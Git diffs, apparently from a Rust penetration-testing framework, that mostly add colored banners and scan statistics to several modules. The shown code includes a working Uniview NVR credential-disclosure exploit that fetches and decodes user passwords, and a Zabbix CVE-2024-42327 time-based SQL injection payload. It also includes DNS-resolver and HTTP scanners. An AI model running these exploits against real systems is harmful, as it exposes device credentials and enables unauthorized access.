io::stdin().read_line(&mut password)?;
|
||||
let password = password.trim();
|
||||
|
||||
if username.is_empty() || password.is_empty() {
|
||||
println!("{}", "[-] Username and password are required".red());
|
||||
return Err(anyhow::anyhow!("Username and password are required"));
|
||||
}
|
||||
|
||||
execute(target, port, username, password).await
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use quick_xml::events::Event;
|
||||
use quick_xml::name::QName;
|
||||
use quick_xml::Reader;
|
||||
@@ -8,6 +9,16 @@ use std::fs::OpenOptions;
|
||||
use std::io::Write;
|
||||
use std::time::Duration;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Uniview NVR Remote Password Disclosure ║".cyan());
|
||||
println!("{}", "║ Extracts and decodes user credentials from NVR ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Reverses the Uniview custom encoded password
|
||||
fn decode_pass(encoded: &str) -> String {
|
||||
let map: HashMap<&str, &str> = [
|
||||
@@ -89,20 +100,21 @@ fn normalize_target(raw: &str) -> String {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\nUniview NVR remote passwords disclosure!");
|
||||
println!("Author: B1t (ported to Rust)\n");
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
// Normalize URL (scheme, IPv6 brackets, port, path)
|
||||
let target = normalize_target(target);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(10))
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
// Fetch version info
|
||||
println!("[+] Getting model name and software version...");
|
||||
println!("{}", "[*] Getting model name and software version...".cyan());
|
||||
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
|
||||
let version_text = client
|
||||
.get(&version_url)
|
||||
@@ -121,8 +133,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("Unknown");
|
||||
|
||||
println!("Model: {}", model);
|
||||
println!("Software Version: {}", sw_ver);
|
||||
println!("{}", format!("[+] Model: {}", model).green());
|
||||
println!("{}", format!("[+] Software Version: {}", sw_ver).green());
|
||||
|
||||
// Prepare log file
|
||||
let mut log = OpenOptions::new()
|
||||
@@ -137,7 +149,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
writeln!(log, "Software Version: {}", sw_ver).ok();
|
||||
|
||||
// Fetch user config
|
||||
println!("\n[+] Getting configuration file...");
|
||||
println!("{}", "\n[*] Getting configuration file...".cyan());
|
||||
let config_url = format!(
|
||||
"{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
|
||||
target
|
||||
@@ -155,7 +167,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let mut buf = Vec::new();
|
||||
let mut total_users = 0;
|
||||
|
||||
println!("\nUser | Stored Hash | Reversible Password");
|
||||
println!();
|
||||
println!("{}", "User | Stored Hash | Reversible Password".cyan().bold());
|
||||
println!("{}", "_".repeat(80));
|
||||
writeln!(log, "\nUser | Stored Hash | Reversible Password").ok();
|
||||
writeln!(log, "{}", "_".repeat(80)).ok();
|
||||
@@ -177,7 +190,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
let decoded = decode_pass(&revpass);
|
||||
println!("{:<9}| {:<38}| {}", username, user_hash, decoded);
|
||||
println!("{}", format!("{:<9}| {:<38}| {}", username, user_hash, decoded).green());
|
||||
writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();
|
||||
|
||||
total_users += 1;
|
||||
@@ -189,9 +202,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
println!("\n[+] Total users: {}", total_users);
|
||||
println!();
|
||||
println!("{}", format!("[+] Total users found: {}", total_users).green().bold());
|
||||
writeln!(log, "\n[+] Total users: {}", total_users).ok();
|
||||
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n");
|
||||
println!("{}", "[*] Results saved to nvr-success.txt".cyan());
|
||||
println!("{}", "[!] Note: 'default' and 'HAUser' users may not be accessible remotely.".yellow());
|
||||
writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -1,17 +1,34 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use serde_json::json;
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
|
||||
const HEADERS: &str = "application/json";
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Zabbix 7.0.0 SQL Injection Checker ║".cyan());
|
||||
println!("{}", "║ CVE-2024-42327 - Time-based SQL Injection ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
// Internal function renamed to `exploit_zabbix` to avoid conflicts
|
||||
async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload: &str) -> Result<()> {
|
||||
let client = Client::new();
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?;
|
||||
|
||||
let url = format!("{}/api_jsonrpc.php", api_url.trim_end_matches('/'));
|
||||
|
||||
// // Login to get the token
|
||||
// Login to get the token
|
||||
println!("{}", "[*] Attempting to authenticate...".cyan());
|
||||
let login_data = json!({
|
||||
"jsonrpc": "2.0",
|
||||
"method": "user.login",
|
||||
@@ -38,12 +55,15 @@ async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload:
|
||||
|
||||
let auth_token = login_response_json
|
||||
.get("result")
|
||||
.ok_or_else(|| anyhow!("Failed to retrieve auth token"))?
|
||||
.ok_or_else(|| anyhow!("Failed to retrieve auth token - check credentials"))?
|
||||
.as_str()
|
||||
.ok_or_else(|| anyhow!("Auth token not a string"))?
|
||||
.to_string();
|
||||
|
||||
// // SQLi test using the provided payload
|
||||
println!("{}", "[+] Authentication successful".green());
|
||||
|
||||
// SQLi test using the provided payload
|
||||
println!("{}", "[*] Testing for SQL injection vulnerability...".yellow());
|
||||
let sqli_data = json!({
|
||||
"jsonrpc": "2.0",
|
||||
"method": "user.get",
|
||||
@@ -55,6 +75,7 @@ async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload:
|
||||
"auth": auth_token
|
||||
});
|
||||
|
||||
let start = std::time::Instant::now();
|
||||
let test_response = client
|
||||
.post(&url)
|
||||
.header("Content-Type", HEADERS)
|
||||
@@ -63,15 +84,20 @@ async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload:
|
||||
.await
|
||||
.map_err(|e| anyhow!("Test request error: {}", e))?;
|
||||
|
||||
let elapsed = start.elapsed();
|
||||
let test_response_text = test_response
|
||||
.text()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to read test response: {}", e))?;
|
||||
|
||||
println!("{}", format!("[*] Response received in {:.2}s", elapsed.as_secs_f64()).cyan());
|
||||
|
||||
if test_response_text.contains("\"error\"") {
|
||||
println!("[-] NOT VULNERABLE.");
|
||||
println!("{}", "[-] Target does NOT appear vulnerable (error in response).".red());
|
||||
} else if elapsed.as_secs() >= 5 {
|
||||
println!("{}", "[+] VULNERABLE! Response delayed by SLEEP injection.".green().bold());
|
||||
} else {
|
||||
println!("[!] VULNERABLE.");
|
||||
println!("{}", "[?] Inconclusive - response received but no delay detected.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
@@ -79,13 +105,13 @@ async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload:
|
||||
|
||||
// Prompt user to choose a payload option
|
||||
async fn get_payload_choice() -> Result<String> {
|
||||
println!("Choose SQL payload option:");
|
||||
println!("1: Load SQL payloads from file");
|
||||
println!("2: Enter custom SQL payload");
|
||||
println!("3: Use default SQL payload");
|
||||
println!("{}", "[*] Choose SQL payload option:".cyan().bold());
|
||||
println!(" {} Load SQL payloads from file", "[1]".green());
|
||||
println!(" {} Enter custom SQL payload", "[2]".green());
|
||||
println!(" {} Use default SQL payload (SLEEP-based)", "[3]".green());
|
||||
|
||||
let mut choice = String::new();
|
||||
print!("Enter your choice (1/2/3): ");
|
||||
print!("{}", "Enter your choice (1/2/3): ".cyan().bold());
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut choice)
|
||||
@@ -96,16 +122,17 @@ async fn get_payload_choice() -> Result<String> {
|
||||
match choice {
|
||||
"1" => {
|
||||
// Load from a file (e.g., sql_payloads.txt)
|
||||
println!("Loading SQL payloads from file...");
|
||||
println!("{}", "[*] Loading SQL payloads from file...".cyan());
|
||||
let payloads = fs::read_to_string("sql_payloads.txt")
|
||||
.map_err(|e| anyhow!("Error reading payload file: {}", e))?;
|
||||
println!("{}", "[+] Payloads loaded successfully".green());
|
||||
Ok(payloads.trim().to_string())
|
||||
}
|
||||
"2" => {
|
||||
// Allow user to input a custom payload
|
||||
println!("Enter your custom SQL payload (do not include the SELECT statement, only the payload part): ");
|
||||
let mut custom_payload = String::new();
|
||||
print!("{}", "Enter your custom SQL payload: ".cyan().bold());
|
||||
io::stdout().flush().unwrap();
|
||||
let mut custom_payload = String::new();
|
||||
io::stdin()
|
||||
.read_line(&mut custom_payload)
|
||||
.map_err(|e| anyhow!("Failed to read custom payload: {}", e))?;
|
||||
@@ -114,35 +141,41 @@ async fn get_payload_choice() -> Result<String> {
|
||||
|
||||
// Ensure the custom payload isn't empty
|
||||
if custom_payload.is_empty() {
|
||||
println!("{}", "[-] Custom payload cannot be empty".red());
|
||||
return Err(anyhow!("Custom payload cannot be empty. Please enter a valid payload."));
|
||||
}
|
||||
|
||||
println!("{}", format!("[+] Using custom payload: {}", custom_payload).green());
|
||||
Ok(custom_payload.to_string())
|
||||
}
|
||||
"3" => {
|
||||
// Use a default payload
|
||||
println!("Using default SQL payload...");
|
||||
println!("{}", "[*] Using default SQL payload (SLEEP-based)...".cyan());
|
||||
Ok("readonly AND (SELECT(SLEEP(5)))".to_string())
|
||||
}
|
||||
_ => Err(anyhow!("Invalid choice, please select 1, 2, or 3.")),
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid choice".red());
|
||||
Err(anyhow!("Invalid choice, please select 1, 2, or 3."))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Public dispatch entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Zabbix 7.0.0 SQL Injection Checker (CVE-2024-42327)");
|
||||
println!("[*] Target API URL: {}", target);
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target API URL: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
let mut username = String::new();
|
||||
let mut password = String::new();
|
||||
|
||||
print!("Username: ");
|
||||
print!("{}", "Username: ".cyan().bold());
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut username)
|
||||
.map_err(|e| anyhow!("Failed to read username: {}", e))?;
|
||||
|
||||
print!("Password: ");
|
||||
print!("{}", "Password: ".cyan().bold());
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut password)
|
||||
@@ -151,6 +184,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let username = username.trim();
|
||||
let password = password.trim();
|
||||
|
||||
if username.is_empty() || password.is_empty() {
|
||||
println!("{}", "[-] Username and password are required".red());
|
||||
return Err(anyhow!("Username and password are required"));
|
||||
}
|
||||
|
||||
// Get the payload choice from the user
|
||||
let payload = get_payload_choice().await?;
|
||||
|
||||
|
||||
@@ -22,9 +22,17 @@ struct TargetSpec {
|
||||
port: Option<u16>,
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ DNS Recursion & Amplification Scanner ║".cyan());
|
||||
println!("{}", "║ Detects open resolvers that may be abused for DoS attacks ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Scan DNS resolvers for open recursion with improved input validation.
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
println!("\n=== DNS Recursion & Amplification Scanner ===");
|
||||
display_banner();
|
||||
|
||||
let mut targets = collect_targets(initial_target)?;
|
||||
if targets.is_empty() {
|
||||
@@ -60,6 +68,11 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
|
||||
let mut any_success = false;
|
||||
let mut last_error: Option<anyhow::Error> = None;
|
||||
let mut vulnerable_count = 0usize;
|
||||
let mut tested_count = 0usize;
|
||||
let start_time = std::time::Instant::now();
|
||||
|
||||
println!();
|
||||
|
||||
for spec in targets.drain(..) {
|
||||
let port = spec.port.unwrap_or(default_port);
|
||||
@@ -70,10 +83,12 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
spec.input
|
||||
);
|
||||
|
||||
tested_count += 1;
|
||||
|
||||
match resolve_target(&spec.host, port).await {
|
||||
Ok((socket_addr, resolved_display)) => {
|
||||
println!("[*] Target resolver: {}", resolved_display);
|
||||
match query_target(socket_addr, &resolved_display, &name, record_type).await {
|
||||
println!("{}", format!("[*] Target resolver: {}", resolved_display).cyan());
|
||||
match query_target(socket_addr, &resolved_display, &name, record_type, &mut vulnerable_count).await {
|
||||
Ok(()) => any_success = true,
|
||||
Err(err) => {
|
||||
eprintln!(
|
||||
@@ -94,6 +109,25 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
let elapsed = start_time.elapsed();
|
||||
|
||||
// Print statistics
|
||||
println!();
|
||||
println!("{}", "=== Scan Statistics ===".bold());
|
||||
println!(" Targets tested: {}", tested_count);
|
||||
println!(" Vulnerable (open): {}", if vulnerable_count > 0 {
|
||||
vulnerable_count.to_string().red().bold().to_string()
|
||||
} else {
|
||||
"0".green().to_string()
|
||||
});
|
||||
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
|
||||
|
||||
if vulnerable_count > 0 {
|
||||
println!();
|
||||
println!("{}", "[!] WARNING: Open recursive DNS resolvers detected!".red().bold());
|
||||
println!("{}", " These can be abused for DNS amplification attacks.".yellow());
|
||||
}
|
||||
|
||||
if any_success {
|
||||
Ok(())
|
||||
} else {
|
||||
@@ -106,6 +140,7 @@ async fn query_target(
|
||||
display_target: &str,
|
||||
name: &Name,
|
||||
record_type: RecordType,
|
||||
vulnerable_count: &mut usize,
|
||||
) -> Result<()> {
|
||||
println!(
|
||||
"[*] Sending {} query (timeout 5s) to {}",
|
||||
@@ -124,12 +159,16 @@ async fn query_target(
|
||||
.with_context(|| format!("DNS query to {} failed", display_target))?;
|
||||
|
||||
let (message, _) = response.into_parts();
|
||||
report_result(&message, display_target, record_type);
|
||||
let is_vulnerable = report_result(&message, display_target, record_type);
|
||||
|
||||
if is_vulnerable {
|
||||
*vulnerable_count += 1;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn report_result(message: &Message, display_target: &str, record_type: RecordType) {
|
||||
fn report_result(message: &Message, display_target: &str, record_type: RecordType) -> bool {
|
||||
let recursion_available = message.recursion_available();
|
||||
let recursion_desired = message.recursion_desired();
|
||||
let authoritative = message.authoritative();
|
||||
@@ -145,16 +184,16 @@ fn report_result(message: &Message, display_target: &str, record_type: RecordTyp
|
||||
message.answers().len(),
|
||||
message.name_servers().len(),
|
||||
message.additionals().len()
|
||||
)
|
||||
).dimmed()
|
||||
);
|
||||
|
||||
if truncated {
|
||||
println!("[!] Response was truncated (TC flag set).");
|
||||
println!("{}", "[!] Response was truncated (TC flag set).".yellow());
|
||||
}
|
||||
|
||||
println!(
|
||||
"[*] Flags: RD={} RA={} AA={}",
|
||||
recursion_desired, recursion_available, authoritative
|
||||
"{}",
|
||||
format!("[*] Flags: RD={} RA={} AA={}", recursion_desired, recursion_available, authoritative).dimmed()
|
||||
);
|
||||
|
||||
if recursion_available && rcode != ResponseCode::Refused {
|
||||
@@ -167,12 +206,14 @@ fn report_result(message: &Message, display_target: &str, record_type: RecordTyp
|
||||
if authoritative { "(authoritative data returned)" } else { "" }
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
" This resolver may be abused for reflection/amplification attacks (ANY/DNSSEC)."
|
||||
.yellow()
|
||||
);
|
||||
true
|
||||
} else if recursion_available && rcode == ResponseCode::Refused {
|
||||
println!(
|
||||
"{}",
|
||||
@@ -182,6 +223,7 @@ fn report_result(message: &Message, display_target: &str, record_type: RecordTyp
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
false
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
@@ -189,8 +231,9 @@ fn report_result(message: &Message, display_target: &str, record_type: RecordTyp
|
||||
"[-] {} does not appear to allow recursion (RA flag unset or query refused).",
|
||||
display_target
|
||||
)
|
||||
.red()
|
||||
.dimmed()
|
||||
);
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use chrono::Utc;
|
||||
use colored::*;
|
||||
use reqwest::{Client, Method, StatusCode, Url};
|
||||
use std::collections::HashSet;
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
const METHODS: &[&str] = &[
|
||||
"GET",
|
||||
@@ -95,9 +96,15 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let mut all_results = Vec::new();
|
||||
let mut total_success = 0usize;
|
||||
let mut total_errors = 0usize;
|
||||
let start_time = Instant::now();
|
||||
|
||||
println!("{}", format!("[*] Scanning {} target(s) with {} methods each...",
|
||||
normalized.len(), METHODS.len()).cyan().bold());
|
||||
|
||||
for target in &normalized {
|
||||
println!("\n=== Target: {} ===", target);
|
||||
println!("\n{}", format!("=== Target: {} ===", target).bold());
|
||||
let mut method_results = Vec::new();
|
||||
|
||||
for &method_name in METHODS {
|
||||
@@ -123,43 +130,41 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let ok = status.is_success();
|
||||
if verbose {
|
||||
println!(
|
||||
" [{}] {} -> {} ({:.2?})",
|
||||
method_name,
|
||||
target,
|
||||
status,
|
||||
elapsed
|
||||
);
|
||||
if ok {
|
||||
total_success += 1;
|
||||
if verbose {
|
||||
println!("{}", format!(" [{}] {} -> {} ({:.2?})", method_name, target, status, elapsed).green());
|
||||
} else {
|
||||
println!("{}", format!(" [{}] {}", method_name, status).green());
|
||||
}
|
||||
} else {
|
||||
println!(" [{}] {}", method_name, status);
|
||||
if verbose {
|
||||
println!("{}", format!(" [{}] {} -> {} ({:.2?})", method_name, target, status, elapsed).yellow());
|
||||
} else {
|
||||
println!("{}", format!(" [{}] {}", method_name, status).yellow());
|
||||
}
|
||||
}
|
||||
method_results.push(MethodResult {
|
||||
method: method_name,
|
||||
status: Some(status),
|
||||
ok,
|
||||
error: None,
|
||||
duration_ms: elapsed.as_millis(),
|
||||
ok,
|
||||
error: None,
|
||||
duration_ms: elapsed.as_millis(),
|
||||
});
|
||||
}
|
||||
Err(err) => {
|
||||
total_errors += 1;
|
||||
if verbose {
|
||||
println!(
|
||||
" [{}] {} -> error: {} ({:.2?})",
|
||||
method_name,
|
||||
target,
|
||||
err,
|
||||
elapsed
|
||||
);
|
||||
println!("{}", format!(" [{}] {} -> error: {} ({:.2?})", method_name, target, err, elapsed).red());
|
||||
} else {
|
||||
println!(" [{}] error: {}", method_name, err);
|
||||
println!("{}", format!(" [{}] error: {}", method_name, err).red());
|
||||
}
|
||||
method_results.push(MethodResult {
|
||||
method: method_name,
|
||||
status: None,
|
||||
ok: false,
|
||||
error: Some(err.to_string()),
|
||||
duration_ms: elapsed.as_millis(),
|
||||
duration_ms: elapsed.as_millis(),
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -167,10 +172,26 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
|
||||
all_results.push(TargetResult {
|
||||
target: target.clone(),
|
||||
results: method_results,
|
||||
results: method_results,
|
||||
});
|
||||
}
|
||||
|
||||
let total_elapsed = start_time.elapsed();
|
||||
let total_requests = normalized.len() * METHODS.len();
|
||||
|
||||
// Print statistics
|
||||
println!();
|
||||
println!("{}", "=== Scan Statistics ===".bold());
|
||||
println!(" Targets: {}", normalized.len());
|
||||
println!(" Methods tested: {}", METHODS.len());
|
||||
println!(" Total requests: {}", total_requests);
|
||||
println!(" Successful: {}", total_success.to_string().green());
|
||||
println!(" Errors: {}", total_errors.to_string().red());
|
||||
println!(" Duration: {:.2}s", total_elapsed.as_secs_f64());
|
||||
if total_elapsed.as_secs() > 0 {
|
||||
println!(" Rate: {:.1} requests/s", total_requests as f64 / total_elapsed.as_secs_f64());
|
||||
}
|
||||
|
||||
if save_output {
|
||||
let default_name = format!(
|
||||
"http_method_scan_{}.txt",
|
||||
@@ -189,15 +210,11 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
fn banner() {
|
||||
println!(
|
||||
"{}",
|
||||
r#"
|
||||
╔══════════════════════════════════════════════════════╗
|
||||
║ HTTP METHOD CAPABILITY SCANNER ║
|
||||
║ Checks support for common verbs ║
|
||||
╚══════════════════════════════════════════════════════╝
|
||||
"#
|
||||
);
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ HTTP Method Capability Scanner ║".cyan());
|
||||
println!("{}", "║ Checks support for common HTTP verbs (GET, POST, etc.) ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
|
||||
|
||||
@@ -1,11 +1,12 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use chrono::Utc;
|
||||
use colored::*;
|
||||
use regex::Regex;
|
||||
use reqwest::{Client, StatusCode, Url};
|
||||
use std::collections::HashSet;
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
banner();
|
||||
@@ -68,16 +69,36 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
|
||||
let title_re = Regex::new(r"(?is)<title\b[^>]*>(.*?)</title>")?;
|
||||
let mut all_results = Vec::new();
|
||||
let mut success_count = 0usize;
|
||||
let mut error_count = 0usize;
|
||||
let start_time = Instant::now();
|
||||
let total_targets = normalized.len();
|
||||
|
||||
println!("{}", format!("[*] Scanning {} target(s)...", total_targets).cyan().bold());
|
||||
println!();
|
||||
|
||||
for (idx, url) in normalized.iter().enumerate() {
|
||||
// Progress indicator
|
||||
if (idx + 1) % 10 == 0 || idx + 1 == total_targets {
|
||||
print!("\r{}", format!("[*] Progress: {}/{} ({:.0}%)",
|
||||
idx + 1, total_targets, ((idx + 1) as f64 / total_targets as f64) * 100.0).dimmed());
|
||||
io::stdout().flush().ok();
|
||||
}
|
||||
|
||||
for url in &normalized {
|
||||
match fetch_title(&client, url, &title_re).await {
|
||||
Ok(result) => {
|
||||
if let Some(title) = &result.title {
|
||||
println!("[+] {} -> {}" , url, title);
|
||||
println!("\r{}", format!("[+] {} -> {}", url, title).green());
|
||||
success_count += 1;
|
||||
} else if let Some(status) = result.status {
|
||||
println!("[+] {} -> <no title> (status: {})", url, status);
|
||||
if status.is_success() {
|
||||
println!("\r{}", format!("[+] {} -> <no title> (status: {})", url, status).green());
|
||||
success_count += 1;
|
||||
} else {
|
||||
println!("\r{}", format!("[~] {} -> <no title> (status: {})", url, status).yellow());
|
||||
}
|
||||
} else {
|
||||
println!("[+] {} -> <no title>", url);
|
||||
println!("\r{}", format!("[~] {} -> <no title>", url).yellow());
|
||||
}
|
||||
if verbose {
|
||||
if let Some(status) = result.status {
|
||||
@@ -88,7 +109,8 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
all_results.push(result);
|
||||
}
|
||||
Err(err) => {
|
||||
println!("[-] {} -> error: {}", url, err);
|
||||
println!("\r{}", format!("[-] {} -> error: {}", url, err).red());
|
||||
error_count += 1;
|
||||
all_results.push(TitleResult {
|
||||
url: url.clone(),
|
||||
status: None,
|
||||
@@ -100,6 +122,19 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
let elapsed = start_time.elapsed();
|
||||
|
||||
// Print statistics
|
||||
println!();
|
||||
println!("{}", "=== Scan Statistics ===".bold());
|
||||
println!(" Total scanned: {}", total_targets);
|
||||
println!(" Successful: {}", success_count.to_string().green());
|
||||
println!(" Errors: {}", error_count.to_string().red());
|
||||
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
|
||||
if elapsed.as_secs() > 0 {
|
||||
println!(" Rate: {:.1} requests/s", total_targets as f64 / elapsed.as_secs_f64());
|
||||
}
|
||||
|
||||
if save_output {
|
||||
let default_name = format!(
|
||||
"http_title_scan_{}.txt",
|
||||
@@ -361,13 +396,9 @@ fn write_report(path: &str, results: &[TitleResult]) -> Result<()> {
|
||||
}
|
||||
|
||||
fn banner() {
|
||||
println!(
|
||||
"{}",
|
||||
r#"
|
||||
╔══════════════════════════════════════════════════╗
|
||||
║ HTTP TITLE SCANNER (RustSploit) ║
|
||||
║ Enumerate page titles over HTTP/HTTPS endpoints ║
|
||||
╚══════════════════════════════════════════════════╝
|
||||
"#
|
||||
);
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ HTTP Title Scanner ║".cyan());
|
||||
println!("{}", "║ Enumerate page titles over HTTP/HTTPS endpoints ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
@@ -6,3 +6,4 @@ pub mod http_title_scanner;
|
||||
pub mod ping_sweep;
|
||||
pub mod http_method_scanner;
|
||||
pub mod dns_recursion;
|
||||
pub mod ssh_scanner;
|
||||
|
||||
@@ -1,15 +1,202 @@
|
||||
use anyhow::{Result, Context};
|
||||
use reqwest;
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::fs::File;
|
||||
use std::io::{self, Write};
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ HTTP Connectivity Scanner ║".cyan());
|
||||
println!("{}", "║ Checks HTTP/HTTPS reachability and response codes ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// A simple scanner that tries an HTTP GET and prints the response code
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Running sample_scanner on: {}", target);
|
||||
|
||||
let url = format!("http://{}", target);
|
||||
let resp = reqwest::get(&url)
|
||||
.await
|
||||
.context("Failed to send request")?;
|
||||
|
||||
println!("[*] Status code: {}", resp.status());
|
||||
display_banner();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let timeout_secs = prompt_timeout()?;
|
||||
let check_http = prompt_bool("Check HTTP (port 80)?", true)?;
|
||||
let check_https = prompt_bool("Check HTTPS (port 443)?", true)?;
|
||||
let verbose = prompt_bool("Verbose output?", false)?;
|
||||
let save_results = prompt_bool("Save results to file?", false)?;
|
||||
|
||||
if !check_http && !check_https {
|
||||
return Err(anyhow!("At least one protocol must be selected"));
|
||||
}
|
||||
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(timeout_secs))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let mut results = Vec::new();
|
||||
let start = Instant::now();
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Starting scan...".cyan().bold());
|
||||
|
||||
// Check HTTP
|
||||
if check_http {
|
||||
let url = if target.contains("://") {
|
||||
target.to_string()
|
||||
} else {
|
||||
format!("http://{}", target)
|
||||
};
|
||||
|
||||
if verbose {
|
||||
println!("{}", format!("[*] Checking {}...", url).dimmed());
|
||||
}
|
||||
|
||||
match client.get(&url).send().await {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let status_str = status.to_string();
|
||||
let content_type = resp.headers()
|
||||
.get("content-type")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
let server = resp.headers()
|
||||
.get("server")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
|
||||
